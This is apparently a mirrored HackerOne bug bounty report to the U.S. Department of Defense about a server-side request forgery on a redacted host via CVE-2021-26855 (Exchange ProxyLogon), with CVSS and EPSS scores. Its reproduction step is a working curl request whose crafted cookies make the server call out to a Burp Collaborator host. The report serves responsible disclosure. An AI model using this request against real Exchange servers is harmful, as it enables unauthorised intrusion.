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hackerone
SpongebhavH1:1119224
HistoryMar 07, 2021 - 11:31 a.m.

U.S. Dept Of Defense: SSRF due to CVE-2021-26855 on ████████

2021-03-0711:31:33
spongebhav
hackerone.com
1568

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Description:There exists a Server Side Request Frogery (SSRF) on█████████** due toCVE-2021-26855

References

https://vulners.com/cve/CVE-2021-26855
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855

Impact

Server Side Request Frogery

System Host(s)

██████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-26855

Steps to Reproduce

curl -i -s -k -X $'GET' \
    -H $'Host: ████' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:86.0) Gecko/20100101 Firefox/86.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3' \
    $'https://███/owa/auth/x.js'

Output:
█████████

Suggested Mitigation/Remediation Actions

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9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

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